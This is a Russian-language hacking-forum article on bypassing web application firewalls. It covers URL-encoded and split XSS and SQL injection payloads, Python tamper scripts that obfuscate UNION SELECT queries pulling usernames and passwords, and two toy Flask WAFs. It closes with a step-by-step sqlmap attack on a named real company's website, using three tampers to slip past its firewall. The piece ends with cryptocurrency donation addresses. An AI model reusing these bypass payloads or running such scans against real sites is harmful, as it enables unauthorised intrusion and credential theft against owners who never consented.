What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

WAF для самых маленьких(с практикой)

acc2ss

Midle Weight
Депозит
$0
Автор: acc2ss
источник: xss.is

Приветствую всех читателей!
Сегодня хотелось бы разобрать такую тему как WAF - Web Application Firewall. В статье я постараюсь показать и разобрать: существующие сервисы, их типы защиты(и как работают), способы обхода, тамперы.

И так, зачем вообще сайты используют WAF? Все достаточно просто - он используется для защиты от различных атак, например xss, sql, ddos. Работает он путем фильтрации трафика поступающего на сайт. Самое интересное здесь то, что WAF позволяет защитить сайт, даже в случае наличия уязвимостей в коде. Это нас и интересует, т.к если мы обойдем waf, то сможем отправлять свои пэйлоады фактически сразу на сайт, и ничего их не остановит.

Что бы обходить WAF нужно познакомится с сервисами. Самый популярный это конечно же Cloudflare, но мир на нем не останавливается, и есть более продвинутые вафки. Например акамаи использует ИИ для защиты, что значительно усложняет процесс.

Теперь типы защиты:
Signature-Based - работает с помощью шаблонов. Например, сигнатура для SQL-инъекции может включать определённые ключевые слова и символы - SELECT, OR 1=1. То есть если мы отправим запрос example.com/product?id=1 OR 1=1 то он не будет пропущен.
Behavioral-Based - анализирует нормальное поведение пользователей и выявляет аномалии, которые могут указывать на атаки. Например частое отправление запросов при ддос атаке.
AI-Based - использует машинное обучение.

Ну что, можно переходить к самому интересному - методы обхода защиты.

для начала разберем самое простое - обфускацию и разделение пэйлоадов.
С обфускацией все просто. Здесь мы отправляем зашифрованный запрос к сайту. Например product?id=1 OR 1=1 - не пропустит, но если закодировать пэйлоад 1 OR 1=1 в url 1%20OR%20%31%3d%31 то возможно и получится что то обойти.
1721305218875.png

1721305239128.png


Разделение запросов работает так: мы берем пэйлоад, например <script>alert('XSS.IS')</script> и разделяем его на 2 части - <scri и pt>alert('XSS')</script>, а далее отправляем двумя разными запросами. search?q=<scri и search?q=pt>alert('XSS')</script>. Так же разделять пэйлоад можно в одном запросе, но в разных его частях.

Тамперы - это метод изменения пэйлоада в запросах для обхода WAF. Что бы правильно научится их использовать, нужно понимать как они работают, что изменяют. Вообще, тамперов существует огромное количество, все вы вряд ли выучите, но понимать механизм работы - обязательно. В большинстве случаев вам вряд ли будет достаточно только 1 тампера, поэтому их нужно уметь еще и комбинировать, вообщем свои заморочки. Так же часто бывает и такое, что сам запрос waf пропускает, но сервер его понять не может. То есть вы будете думать что запросы проходят, но по факту - нет. Чаще всего такое происходит с Base64 и Hex.
При работе с тамперами важно анализировать какие пэйлоады пропускаются, а какие нет. Например waf может блокировать запятую, или +, а может и обычный пробел. Рассмотрим небольшой пример комбинирования тамперов:
Запрос будет таким: /search?id=1 UNION SELECT username, password FROM users представим что waf блокирует запятую, пробел и слово UNION. Подумаем как мы можем это обойти. Можно использовать тампер space2comment, запятую кодировать в url, а слово UNION разорвем на 2 части с помощью комментария. По итогу у нас получится: /search?id=1/**/UN/**/ION/**/SELECT/**/username%2C/**/password/**/FROM/**/users. Такой запрос уже возможно пропустит waf. Пример я привел самый простой, но для общего понимания его хватит.

В случае если при попытках обхода waf у вас ничего не вышло - расстраиваться рано. Возможно waf может быть настроена неправильно, и не распространятся на другие поддомены. Попробуйте их найти и работать через них.

И так, методы обхода мы рассмотрели, сейчас я бы хотел перейти к программированию. Покажу пример написания своего тампера, и пример самой простой вафки. Возможно вам это понадобится.
Начнем с тамперов. Писать их лучше всего на всеми любимом питоне. Цель - написать тампер, который будет обходить блокировку слов UNION и SELECT. Наш исходный запрос: SELECT * FROM users WHERE id=12 UNION SELECT username, password FROM users.
Что будет делать наш тампер? 1. Разбивать ключевые слова на части и изменять их регистр 2. Вставлять комментарии между частями ключевых слов.
Python: Скопировать в буфер обмена
Code:
def custom_tamper(query):
    def obfuscate_word(word):
        obfuscated = ''
        for i, char in enumerate(word):
            if i % 2 == 0:
                obfuscated += char.upper() + '/**/'
            else:
                obfuscated += char.lower()
        return obfuscated

    query = query.replace('SELECT', obfuscate_word('SELECT'))
    query = query.replace('UNION', obfuscate_word('UNION'))
  
    return query

query = "SELECT username, password FROM users WHERE id=1 UNION SELECT username, password FROM users"

tamper = custom_tamper(query)
print(tamper)
в query вписываем исходный запрос, запускаем скрипт и получаем результат: S/**/eL/**/eC/**/t username, password FROM users WHERE id=1 U/**/nI/**/oN/**/ S/**/eL/**/eC/**/t username, password FROM users

Рассмотрим более сложный пример. Cитуация - WAF блокирует запятую, пробелы, ключевые слова LIKE, SELECT, UNION, плюс, и равно. Наш исходный запрос: SELECT username, password FROM users WHERE id=1 UNION SELECT username, password FROM users WHERE username LIKE 'admin'
Python: Скопировать в буфер обмена
Code:
def complex_tamper(query):
    def obfuscate_word(word):
        obfuscated = ''
        for i, char in enumerate(word):
            if i % 2 == 0:
                obfuscated += char.upper() + '/**/'
            else:
                obfuscated += char.lower()
        return obfuscated

    query = query.replace('SELECT', obfuscate_word('SELECT'))
    query = query.replace('UNION', obfuscate_word('UNION'))
    query = query.replace('LIKE', obfuscate_word('LIKE'))

    query = query.replace('=', '%3D')
    query = query.replace('+', '%2B')
    query = query.replace(',', '%2C')
    query = query.replace(' ', '%20')

    return query

query = "SELECT username, password FROM users WHERE id=1 UNION SELECT username, password FROM users WHERE username LIKE 'admin'"

tampered_query = complex_tamper(query)
print(tampered_query)
Что мы здесь сделали? 1. Изменили регистр символов. 2. вставили комментарии в ключевых словах. 3. заменили символы '+', '=', ',', ' ' в url. Полученный результат: S/**/eL/**/eC/**/t%20username%2C%20password%20FROM%20users%20WHERE%20id%3D1%20U/**/nI/**/oN/**/%20S/**/eL/**/eC/**/t%20username%2C%20password%20FROM%20users%20WHERE%20username%20L/**/iK/**/e%20'admin'

Думаю двух примеров для общего понимания хватит. Если вам будет интересно посмотреть как работают другие тамперы, то можно посмотреть на странице sqlmap в гитхабе.

Теперь рассмотрим пример вафки. Ситуация - нам нужно блокировать ключевые слова SELECT и UNION, а так же = и , он будет основан на Signature-Based.
Python: Скопировать в буфер обмена
Code:
from flask import Flask, request, abort

app = Flask(__name__)

blocked_signatures = ["SELECT", "UNION", "=", ","]

@app.route('/', methods=['GET', 'POST'])
def index():
    query = request.args.get('query', '')

    for signature in blocked_signatures:
        if signature in query.upper():
            abort(403)

    return f"Query is: {query}"

if __name__ == "__main__":
    app.run(debug=True)
Буквально 18 строк кода, и вы уже написали свою вафку!)) Здесь все работает просто - получаем запрос, проверяем содержимое на запрещенные символы, и возвращаем ошибку если они есть. Проще некуда.

Теперь рассмотрим waf на основе Behavioral-Based. Здесь мы будем оборонятся от ддосеров(ну почти). Работать оно будет так: Получаем IP-адрес, храним время запроса каждого ip, проверяем превышает ли кол-во запросов ip пороговое значение за определенное время, если да, то возвращаем ошибку.
Python: Скопировать в буфер обмена
Code:
from flask import Flask, request, abort
from collections import defaultdict
import time

app = Flask(__name__)

REQUEST_THRESHOLD = 10
TIME_WINDOW = 25

request_log = defaultdict(list)

@app.route('/', methods=['GET', 'POST'])
def main():
    client_ip = request.remote_addr
    current_time = time.time()

    request_log[client_ip] = [timestamp for timestamp in request_log[client_ip] if current_time - timestamp < TIME_WINDOW]

    request_log[client_ip].append(current_time)

    if len(request_log[client_ip]) > REQUEST_THRESHOLD:
        abort(403)

    return "Request is allowed"

if __name__ == "__main__":
    app.run(debug=True)
Опять же - всего 28 строк кода и вы настоящий писатель вафок)
Эти 2 примера воспринимать всерьез не стоит, это лишь сааамые простое примеры. На деле все в разы сложнее.

Ну и на конец немного практики. Использовать мы будем sqlmap. Таргетом будет - https://www.raidon.com.tw/RAIDON2016/product.php?id=250
Для начала попробуем запустить поиск без тамперов. команда будет sqlmap -u "https://www.raidon.com.tw/RAIDON2016/product.php?id=250" --random-agent -v 3 видим такую картину:
1721393506626.png


Наши запросы блокируются. проанализируем из за чего они могут блокироваться. Всего два варианта - "=" или "AND". Ищем тамперы которые могут заменять эти символы. Попробуем тампер between. в команду дописываем --tamper=between
Теперь наши запросы не блокируются:
1721393899328.png


И так, что то мы смогли обойти. Можем продолжать сканирование. Возможно будут еще ошибки. Так и получилось:
1721394039024.png


предположим что блокируются именно выражения. В таком случае можно попробовать тампер equaltolike. Сначала попробуем его комбинацию с between, а потом без него. В варианте комбинации мы видим что запросы начали пропускаться, а значит мы идем в правильном направлении.
1721394296516.png


При продолжении сканирования мы видим что некоторые запросы продолжают блокироваться. Продолжаем думать и анализировать. Здесь никаких сравнений нет, поэтому я могу предположить что блокируется именно ORDER BY. Что бы пропускать эти запросы достаточно было вставить тампер space2comment.
1721395612760.png

1721395695899.png



Ну что, вафку обойти мы смогли. Для этого нам понадобилось три тампера - between,equaltolike,space2comment.

На этой ноте статья заканчивается. Надеюсь что она кому нибудь пригодится :)
Если у вас есть какие либо вопросы касающиеся пентестинга - смело пишите в теме/лс форума/tox Отвечу всем по мере возможности.

Поддержать автора:
USDT trc(20) TNjxY6W1buZWP47WFi8BMXKhKaUr4U5hTi
BTC bc1qnhu6nfawzx9crfr3vvr65zrjdjrz3et7qajd4e
 
Top